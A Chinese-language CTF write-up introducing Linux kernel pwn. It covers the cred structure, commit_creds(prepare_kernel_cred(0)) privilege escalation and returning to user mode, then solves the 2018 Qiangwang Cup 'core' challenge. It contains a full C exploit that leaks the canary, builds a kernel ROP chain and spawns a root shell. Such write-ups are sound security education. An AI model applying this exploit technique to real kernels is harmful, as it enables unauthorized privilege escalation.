前言
这是我第一次尝试学习kernel pwn,我自己不是很擅长系统性地整理知识点,所以就不完整地整一篇操作系统相关的文章了。
commit_creds(prepare_kernel_cred(0)) 提权 PoC
原理分析
Linux的内核中是用cred结构体记录每个线程的用户权限,也就是说想办法控制了这个结构体就能实现提权操作。
结构体定义如下
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace
*user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
在操作cred的函数中有下面两个函数,其中prepare_kernel_cred
可以复制传入参数的cred并返回,而commit_creds
能够将传入的cred应用到当前进程。
extern struct cred *prepare_kernel_cred(struct task_struct *);
extern int commit_creds(struct cred *);
根据prepare_kernel_cred
的是实现可以看出若传入参数为NULL
则会复制init
进程的cred,即一个有root权限的cred。
struct cred *prepare_kernel_cred(struct task_struct *daemon) {
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;
put_cred(old);
validate_creds(new);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
因此只要构造一个commit_creds(prepare_kernel_cred(0))
的调用有可以实现提权。
一点提示:返回值存在rax寄存器中,而函数的第一个参数存在rdi寄存器中。因此需要用到gadget将rax的值转到rdi中。
从内核态回到用户态
进入内核态之前,系统会将用户态程序的一些信息储存在栈中,在执行iretq
时,这些信息会逐个出栈,从而完成返回。
大致的栈结构如下:
swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss
这些信息可以在用户态时提前记录下来,然后随着payload一同发送过去。记录信息的函数如下:
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
强网杯2018 core
源码分析
查看启动脚本,内核开了KASLR。
KASLR是内核版的ASLR,内核中的相关符号基于一个随机的基地址进行布局。
解压文件系统,里面包含一个叫做
core.ko
的内核模块。首先是保护,开了canary:
放入IDA进行分析,模块注册在
proc/core
。首先是
core_copy_func
中存在栈溢出漏洞。根据交叉引用发现这个函数在
ioctl
被调用。另外还需要关注
name
这个变量,这个变量在write
函数中存在写入。因为开了canary保护,需要绕过,这时就用到了
read
函数中的数组下标越界。copy_to_user
函数中的off
为全局变量,可以在ioctl
中控制,用来越界读取栈中的内容,从而获取canary。利用过程
首先是计算内核中的函数的偏移。从checksec输出的PIE一栏可以知道ELF中的符号的基地址。这里基地址是0xffffffff81000000
然后通过pwntools和ropper获取符号地址和gadget地址。同时通过
/tmp/kallsyms
读取函数实际地址,计算基地址以及gadget的地址。接着通过
read
泄漏canary。最后利用
write
写入ROP链,然后通过core_copy_func
造成栈溢出。
EXP
// gcc exp.c -static -masm=intel -g -o exp
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define RAW_VMLINUX_BASE 0xffffffff81000000
#define COMMIT_CREDS 0xffffffff8109c8e0
#define PREPARE_KERNEL_CRED 0xffffffff8109cce0
#define POP_RDI 0xffffffff81000b2f
#define POP_RDX 0xffffffff810a0f49
#define POP_RCX 0xffffffff81021e53
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ_RET 0xffffffff81050ac2
size_t vmlinux_offset = 0;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void getVmlinuxBase() {
FILE *f = fopen("/tmp/kallsyms", "r");
if (f < 0) {
puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
size_t addr;
char buf[0x50], type[0x50];
while (fscanf(f, "%llx%s%s", &addr, type, buf)) {
if (prepare_kernel_cred && commit_creds)
break;
if (!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"commit_cread:\033[0m%llx\n",
commit_creds);
continue;
}
if (!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of "
"prepare_kernel_cred:\033[0m%llx\n",
prepare_kernel_cred);
continue;
}
}
if (prepare_kernel_cred - (PREPARE_KERNEL_CRED - RAW_VMLINUX_BASE) !=
commit_creds - (COMMIT_CREDS - RAW_VMLINUX_BASE)) {
puts("\033[31m\033[1m[x] Base address error!\033[0m\n");
exit(-1);
}
vmlinux_offset = prepare_kernel_cred - PREPARE_KERNEL_CRED;
}
void getRootShell(void) {
if (getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell "
"now...\033[0m\n");
system("/bin/sh");
}
void coreRead(int fd, char *buf) { ioctl(fd, 0x6677889B, buf); }
void setOffValue(int fd, size_t off) { ioctl(fd, 0x6677889C, off); }
void coreCopyFunc(int fd, size_t nbytes) { ioctl(fd, 0x6677889A, nbytes); }
int main() {
saveStatus();
getVmlinuxBase();
int fd = open("/proc/core", 2);
size_t canary;
char buf[0x50];
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];
// construct the ropchain
size_t rop_chain[0x100], i = 0;
for (; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI + vmlinux_offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX + vmlinux_offset;
rop_chain[i++] =
POP_RCX + vmlinux_offset;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux_offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux_offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ_RET + vmlinux_offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}
参考资料
【OS.0x01】Linux Kernel II:内核简易食用指北
【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF
Kernel ROP